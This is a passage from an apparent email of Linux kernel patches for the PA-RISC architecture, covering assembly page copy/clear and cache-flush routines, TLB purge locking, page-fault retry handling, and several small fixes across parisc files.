 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
-	pitlb		(%sr4,%r28)
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r28)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r28)
+	tlb_unlock      %r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -727,8 +961,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%sr4,%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r25)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r25)
+	tlb_unlock      %r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pitlb		(%sr4,%r25)
+	nop
 	.exit
 
 	.procend
@@ -777,7 +1020,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -817,7 +1060,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..25835d8 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -158,5 +158,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..5dd1059 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -314,7 +314,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 82a52b2..837c602 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -180,9 +180,10 @@ linux_gateway_entry:
 
 	/* Are we being ptraced? */
 	mfctl	%cr30, %r1
-	LDREG	TI_TASK(%r1),%r1
-	ldw	TASK_PTRACE(%r1), %r1
-	bb,<,n	%r1,31,.Ltracesys
+	LDREG   TI_FLAGS(%r1),%r1
+	ldi	(_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP | _TIF_BLOCKSTEP), %r19
+	and,COND(=) %r19, %r1, %r0
+	b,n	.Ltracesys
 	
 	/* Note!  We cannot use the syscall table that is mapped
 	nearby since the gateway page is mapped execute-only. */
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..4a24ba7 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -77,7 +77,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 18162ce..524bf5a 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct mm_struct *mm = tsk->mm;
 	unsigned long acc_type;
 	int fault;
+	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (in_atomic() || !mm)
 		goto no_context;
 
+retry:
 	down_read(&mm->mmap_sem);
 	vma = find_vma_prev(mm, address, &prev_vma);
 	if (!vma || address < vma->vm_start)
@@ -201,7 +203,12 @@ good_area:
 	 * fault.
 	 */
 
-	fault = handle_mm_fault(mm, vma, address, (acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0);
+	fault = handle_mm_fault(mm, vma, address,
+		flags | ((acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0));
+
+	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
+		return;
+
 	if (unlikely(fault & VM_FAULT_ERROR)) {
 		/*
 		 * We hit a shared mapping outside of the file, or some
@@ -214,10 +221,22 @@ good_area:
 			goto bad_area;
 		BUG();
 	}
-	if (fault & VM_FAULT_MAJOR)
-		current->maj_flt++;
-	else
-		current->min_flt++;
+	if (flags & FAULT_FLAG_ALLOW_RETRY) {
+		if (fault & VM_FAULT_MAJOR)
+			current->maj_flt++;
+		else
+			current->min_flt++;
+		if (fault & VM_FAULT_RETRY) {
+			flags &= ~FAULT_FLAG_ALLOW_RETRY;
+
+			/* No need to up_read(&mm->mmap_sem) as we would
+			 * have already released it in __lock_page_or_retry
+			 * in mm/filemap.c.
+			 */
+
+			goto retry;
+		}
+	}
 	up_read(&mm->mmap_sem);
 	return;
 
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index 3914c1e..90139f0 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -575,6 +575,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -582,7 +583,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);

--Apple-Mail-26-492618903
Content-Disposition: attachment; filename="linux-stable-3.5-20120801.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="linux-stable-3.5-20120801.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/hpux/gate.S b/arch/parisc/hpux/gate.S
index 38a1c1b..8e52a3b 100644
--- a/arch/parisc/hpux/gate.S
+++ b/arch/parisc/hpux/gate.S
@@ -72,6 +72,7 @@ ENTRY(hpux_gateway_page)
 	STREG	%r27, TASK_PT_GR27(%r1)		/* user dp */
 	STREG   %r28, TASK_PT_GR28(%r1)         /* return value 0 */
 	STREG   %r28, TASK_PT_ORIG_R28(%r1)     /* return value 0 (saved for signals) */
+	STREG	%r0, TASK_PT_ORIG_R28(%r1)	/* don't prohibit restarts */
 	STREG   %r29, TASK_PT_GR29(%r1)         /* 8th argument */
 	STREG	%r31, TASK_PT_GR31(%r1)		/* preserve syscall return ptr */
 	
diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 9f21ab0..79f694f 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/compat_rt_sigframe.h b/arch/parisc/include/asm/compat_rt_sigframe.h
deleted file mode 100644
index 81bec28..0000000
--- a/arch/parisc/include/asm/compat_rt_sigframe.h
+++ /dev/null
@@ -1,50 +0,0 @@
-#include<linux/compat.h>
-#include<linux/compat_siginfo.h>
-#include<asm/compat_ucontext.h>
-
-#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-
-/* In a deft move of uber-hackery, we decide to carry the top half of all
- * 64-bit registers in a non-portable, non-ABI, hidden structure.
- * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the 
- * ucontext_t structure may push the hidden register file downards
- */
-struct compat_regfile {
-	/* Upper half of all the 64-bit registers that were truncated
-	   on a copy to a 32-bit userspace */
-	compat_int_t rf_gr[32];
-	compat_int_t rf_iasq[2];
-	compat_int_t rf_iaoq[2];
-	compat_int_t rf_sar;
-};
-
-#define COMPAT_SIGRETURN_TRAMP 4
-#define COMPAT_SIGRESTARTBLOCK_TRAMP 5 
-#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + COMPAT_SIGRESTARTBLOCK_TRAMP)
-
-struct compat_rt_sigframe {
-	/* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
-	        Secondary to that it must protect the ERESTART_RESTARTBLOCK
-		trampoline we left on the stack (we were bad and didn't 
-		change sp so we could run really fast.) */
-	compat_uint_t tramp[COMPAT_TRAMP_SIZE];
-	compat_siginfo_t info;
-	struct compat_ucontext uc;
-	/* Hidden location of truncated registers, *must* be last. */
-	struct compat_regfile regs; 
-};
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
-
-#endif
diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index e67eb9c..31835b9 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -1,9 +1,10 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+
 #ifdef CONFIG_DISCONTIGMEM
 
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
 extern int npmem_ranges;
 
 struct node_map_data {
@@ -60,7 +61,5 @@ static inline int pfn_valid(int pfn)
 	return 0;
 }
 
-#else /* !CONFIG_DISCONTIGMEM */
-#define MAX_PHYSMEM_RANGES 	1 
 #endif
 #endif /* _PARISC_MMZONE_H */
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 4e0e7db..d9812d8 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..563724d 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -462,10 +468,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/include/asm/real.h b/arch/parisc/include/asm/real.h
deleted file mode 100644
index 82acb25..0000000
--- a/arch/parisc/include/asm/real.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#ifndef _PARISC_REAL_H
-#define _PARISC_REAL_H
-
-
-#endif
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 9d18189..795d392 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -267,9 +267,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -315,7 +317,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
 				printk(KERN_ERR "INEQUIVALENT ALIASES 0x%lx and 0x%lx in file %s\n", old_addr, addr, mpnt->vm_file ? (char *)mpnt->vm_file->f_path.dentry->d_name.name : "(null)");
 			old_addr = addr;
 		}
@@ -330,17 +332,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -374,20 +365,9 @@ void __init parisc_setup_cache_timing(void)
 	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
 
-extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
-
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
-{
-	unsigned long flags;
-
-	purge_kernel_dcache_page((unsigned long)page);
-	purge_tlb_start(flags);
-	pdtlb_kernel(page);
-	purge_tlb_end(flags);
-	clear_user_page_asm(page, vaddr);
-}
-EXPORT_SYMBOL(clear_user_page);
+extern void purge_kernel_dcache_page_asm(unsigned long);
+extern void clear_user_page_asm(void *, unsigned long);
+extern void copy_user_page_asm(void *, void *, unsigned long);
 
 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -400,11 +380,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -420,6 +415,25 @@ void kunmap_parisc(void *addr)
 EXPORT_SYMBOL(kunmap_parisc);
 #endif
 
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
